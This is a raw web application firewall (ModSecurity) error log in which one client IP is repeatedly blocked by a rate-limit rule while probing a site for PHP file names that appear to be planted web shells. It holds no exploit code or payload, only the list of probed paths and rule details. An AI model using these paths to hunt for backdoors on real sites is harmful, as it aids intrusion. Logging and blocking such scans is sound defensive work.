[Mon Mar 02 11:01:53.820453 2026] [:error] [pid 23872:tid 23886] [client 172.190.142.176:52752] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/vgtyu.php"] [unique_id "aaT9oUzkQFuA2qBk8UPVLgAAAYs"]
[Mon Mar 02 11:01:54.418996 2026] [:error] [pid 23872:tid 23879] [client 172.190.142.176:37348] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/vgtyu.php"] [unique_id "aaT9okzkQFuA2qBk8UPVMgAAAYQ"]
[Mon Mar 02 11:01:55.171458 2026] [:error] [pid 28795:tid 28867] [client 172.190.142.176:35190] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/166.php"] [unique_id "aaT9o7ROd53wZBkdI_exsgAAAIQ"]
[Mon Mar 02 11:01:55.806045 2026] [:error] [pid 21575:tid 21581] [client 172.190.142.176:35162] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/166.php"] [unique_id "aaT9oyrocdArcJqFfInDxgAAAUI"]
[Mon Mar 02 11:01:56.498857 2026] [:error] [pid 28794:tid 28846] [client 172.190.142.176:15928] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/166.php"] [unique_id "aaT9pKVy2qpaelbUob152gAAAEo"]
[Mon Mar 02 11:01:57.037333 2026] [:error] [pid 28908:tid 28928] [client 172.190.142.176:20835] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/166.php"] [unique_id "aaT9pYqJmC8ih_lQQnAPEgAAANI"]
[Mon Mar 02 11:01:57.557347 2026] [:error] [pid 28793:tid 28814] [client 172.190.142.176:25957] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "aaT9pQ2_fxBANaHo1f5ZYAAAAAc"]
[Mon Mar 02 11:01:58.014822 2026] [:error] [pid 28793:tid 28808] [client 172.190.142.176:15932] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "aaT9pg2_fxBANaHo1f5ZYwAAAAE"]
[Mon Mar 02 11:01:58.940294 2026] [:error] [pid 28795:tid 28882] [client 172.190.142.176:29500] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "aaT9prROd53wZBkdI_exuwAAAJM"]
[Mon Mar 02 11:01:59.596902 2026] [:error] [pid 21575:tid 21585] [client 172.190.142.176:24874] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "aaT9pyrocdArcJqFfInDygAAAUY"]
[Mon Mar 02 11:02:00.198859 2026] [:error] [pid 31257:tid 31263] [client 172.190.142.176:15913] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/c4.php"] [unique_id "aaT9qP-JFLfishX45N9FPwAAAQA"]
[Mon Mar 02 11:02:00.758797 2026] [:error] [pid 31257:tid 31270] [client 172.190.142.176:42912] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/c4.php"] [unique_id "aaT9qP-JFLfishX45N9FQwAAAQc"]
[Mon Mar 02 11:02:01.888615 2026] [:error] [pid 21575:tid 21586] [client 172.190.142.176:24864] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/c4.php"] [unique_id "aaT9qSrocdArcJqFfInDzQAAAUc"]
[Mon Mar 02 11:02:08.872062 2026] [:error] [pid 28795:tid 28884] [client 172.190.142.176:64750] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/zwq13.php"] [unique_id "aaT9sLROd53wZBkdI_ex3wAAAJU"]
[Mon Mar 02 11:02:09.583075 2026] [:error] [pid 21575:tid 21581] [client 172.190.142.176:41257] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/zwq13.php"] [unique_id "aaT9sSrocdArcJqFfInD4AAAAUI"]
[Mon Mar 02 11:02:10.065722 2026] [:error] [pid 28794:tid 28857] [client 172.190.142.176:64751] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/zwq13.php"] [unique_id "aaT9sqVy2qpaelbUob154wAAAFU"]
[Mon Mar 02 11:02:10.667027 2026] [:error] [pid 23872:tid 23894] [client 172.190.142.176:37322] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/zwq13.php"] [unique_id "aaT9skzkQFuA2qBk8UPVhwAAAZM"]
[Mon Mar 02 11:02:11.280633 2026] [:error] [pid 28793:tid 28818] [client 172.190.142.176:20896] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/hello.php"] [unique_id "aaT9sw2_fxBANaHo1f5ZbAAAAAs"]
[Mon Mar 02 11:02:11.831397 2026] [:error] [pid 28795:tid 28877] [client 172.190.142.176:11119] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/hello.php"] [unique_id "aaT9s7ROd53wZBkdI_ex4AAAAI4"]
[Mon Mar 02 11:02:12.345076 2026] [:error] [pid 23872:tid 23881] [client 172.190.142.176:24890] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/hello.php"] [unique_id "aaT9tEzkQFuA2qBk8UPVigAAAYY"]
[Mon Mar 02 11:02:12.980113 2026] [:error] [pid 23872:tid 23892] [client 172.190.142.176:42941] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/hello.php"] [unique_id "aaT9tEzkQFuA2qBk8UPVkQAAAZE"]
[Mon Mar 02 11:02:13.506354 2026] [:error] [pid 23872:tid 23889] [client 172.190.142.176:12920] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/05.php"] [unique_id "aaT9tUzkQFuA2qBk8UPVlQAAAY4"]
[Mon Mar 02 11:02:14.005472 2026] [:error] [pid 31257:tid 31285] [client 172.190.142.176:54527] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/05.php"] [unique_id "aaT9tv-JFLfishX45N9FjQAAARY"]
[Mon Mar 02 11:02:14.525812 2026] [:error] [pid 21575:tid 21588] [client 172.190.142.176:20866] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/05.php"] [unique_id "aaT9tirocdArcJqFfInD5wAAAUk"]
[Mon Mar 02 11:02:15.249231 2026] [:error] [pid 23872:tid 23897] [client 172.190.142.176:54526] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/05.php"] [unique_id "aaT9t0zkQFuA2qBk8UPVmAAAAZY"]
[Mon Mar 02 11:02:15.824022 2026] [:error] [pid 31257:tid 31283] [client 172.190.142.176:44188] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/zxin.php"] [unique_id "aaT9t_-JFLfishX45N9FlQAAARQ"]
[Mon Mar 02 11:02:16.408996 2026] [:error] [pid 28793:tid 28829] [client 172.190.142.176:12901] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/zxin.php"] [unique_id "aaT9uA2_fxBANaHo1f5ZbwAAABY"]
[Mon Mar 02 11:02:17.232235 2026] [:error] [pid 23872:tid 23884] [client 172.190.142.176:12866] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/zxin.php"] [unique_id "aaT9uUzkQFuA2qBk8UPVoAAAAYk"]
[Mon Mar 02 11:02:18.603933 2026] [:error] [pid 23872:tid 23876] [client 172.190.142.176:24889] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/zxin.php"] [unique_id "aaT9ukzkQFuA2qBk8UPVpAAAAYE"]
[Mon Mar 02 11:02:19.763338 2026] [:error] [pid 21575:tid 21587] [client 172.190.142.176:43884] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "aaT9uyrocdArcJqFfInD7wAAAUg"]
[Mon Mar 02 11:02:20.882649 2026] [:error] [pid 21575:tid 21580] [client 172.190.142.176:24872] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "aaT9vCrocdArcJqFfInD8wAAAUE"]
[Mon Mar 02 11:02:22.415458 2026] [:error] [pid 23872:tid 23886] [client 172.190.142.176:54517] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "aaT9vkzkQFuA2qBk8UPVuQAAAYs"]
[Mon Mar 02 11:02:23.715967 2026] [:error] [pid 31257:tid 31287] [client 172.190.142.176:12878] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "aaT9v_-JFLfishX45N9FqAAAARg"]
[Mon Mar 02 11:02:25.194020 2026] [:error] [pid 21575:tid 21596] [client 172.190.142.176:35159] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp5.php"] [unique_id "aaT9wSrocdArcJqFfInD_QAAAVE"]
[Mon Mar 02 11:02:25.849675 2026] [:error] [pid 28908:tid 28916] [client 172.190.142.176:39681] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp5.php"] [unique_id "aaT9wYqJmC8ih_lQQnAPPQAAAMY"]
[Mon Mar 02 11:02:26.638238 2026] [:error] [pid 23872:tid 23897] [client 172.190.142.176:48843] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp5.php"] [unique_id "aaT9wkzkQFuA2qBk8UPVwgAAAZY"]
[Mon Mar 02 11:02:27.669146 2026] [:error] [pid 23872:tid 23879] [client 172.190.142.176:36030] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp5.php"] [unique_id "aaT9w0zkQFuA2qBk8UPVxAAAAYQ"]
[Mon Mar 02 11:02:28.832476 2026] [:error] [pid 31257:tid 31269] [client 172.190.142.176:31785] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "aaT9xP-JFLfishX45N9FtAAAAQY"]
[Mon Mar 02 11:02:29.669579 2026] [:error] [pid 23872:tid 23881] [client 172.190.142.176:48886] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "aaT9xUzkQFuA2qBk8UPV0AAAAYY"]
[Mon Mar 02 11:02:30.450922 2026] [:error] [pid 23872:tid 23891] [client 172.190.142.176:42890] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "aaT9xkzkQFuA2qBk8UPV0wAAAZA"]
[Mon Mar 02 11:02:31.254123 2026] [:error] [pid 23872:tid 23889] [client 172.190.142.176:36001] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "aaT9x0zkQFuA2qBk8UPV2AAAAY4"]
[Mon Mar 02 11:02:32.070408 2026] [:error] [pid 23872:tid 23875] [client 172.190.142.176:49134] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/iko.php"] [unique_id "aaT9yEzkQFuA2qBk8UPV3wAAAYA"]
[Mon Mar 02 11:02:32.979066 2026] [:error] [pid 23872:tid 23894] [client 172.190.142.176:41226] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/iko.php"] [unique_id "aaT9yEzkQFuA2qBk8UPV4gAAAZM"]
[Mon Mar 02 11:02:33.878541 2026] [:error] [pid 23872:tid 23883] [client 172.190.142.176:55039] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/iko.php"] [unique_id "aaT9yUzkQFuA2qBk8UPV6QAAAYg"]
[Mon Mar 02 11:02:34.341551 2026] [:error] [pid 23872:tid 23878] [client 172.190.142.176:20904] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/iko.php"] [unique_id "aaT9ykzkQFuA2qBk8UPV7AAAAYM"]
[Mon Mar 02 11:02:35.133530 2026] [:error] [pid 23872:tid 23889] [client 172.190.142.176:11090] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xmy.php"] [unique_id "aaT9y0zkQFuA2qBk8UPV8QAAAY4"]
[Mon Mar 02 11:02:35.690006 2026] [:error] [pid 21575:tid 21587] [client 172.190.142.176:48870] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xmy.php"] [unique_id "aaT9yyrocdArcJqFfInEEAAAAUg"]
[Mon Mar 02 11:02:36.358776 2026] [:error] [pid 28908:tid 28933] [client 172.190.142.176:43900] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xmy.php"] [unique_id "aaT9zIqJmC8ih_lQQnAPSgAAANc"]
[Mon Mar 02 11:02:36.887310 2026] [:error] [pid 31257:tid 31273] [client 172.190.142.176:61961] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xmy.php"] [unique_id "aaT9zP-JFLfishX45N9FxAAAAQo"]
[Mon Mar 02 11:02:37.618419 2026] [:error] [pid 23872:tid 23883] [client 172.190.142.176:64724] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fun.php"] [unique_id "aaT9zUzkQFuA2qBk8UPV-AAAAYg"]
[Mon Mar 02 11:02:38.277830 2026] [:error] [pid 23872:tid 23894] [client 172.190.142.176:64754] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fun.php"] [unique_id "aaT9zkzkQFuA2qBk8UPV-wAAAZM"]
[Mon Mar 02 11:02:38.874540 2026] [:error] [pid 31257:tid 31280] [client 172.190.142.176:24664] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fun.php"] [unique_id "aaT9zv-JFLfishX45N9F0gAAARE"]
[Mon Mar 02 11:02:39.568778 2026] [:error] [pid 31257:tid 31264] [client 172.190.142.176:43848] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fun.php"] [unique_id "aaT9z_-JFLfishX45N9F1AAAAQE"]
[Mon Mar 02 11:02:40.159280 2026] [:error] [pid 31257:tid 31268] [client 172.190.142.176:48881] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/end.php"] [unique_id "aaT90P-JFLfishX45N9F2QAAAQU"]
[Mon Mar 02 11:02:40.708695 2026] [:error] [pid 31257:tid 31287] [client 172.190.142.176:11126] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/end.php"] [unique_id "aaT90P-JFLfishX45N9F3AAAARg"]
[Mon Mar 02 11:02:41.226684 2026] [:error] [pid 31257:tid 31268] [client 172.190.142.176:41240] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/end.php"] [unique_id "aaT90f-JFLfishX45N9F4QAAAQU"]
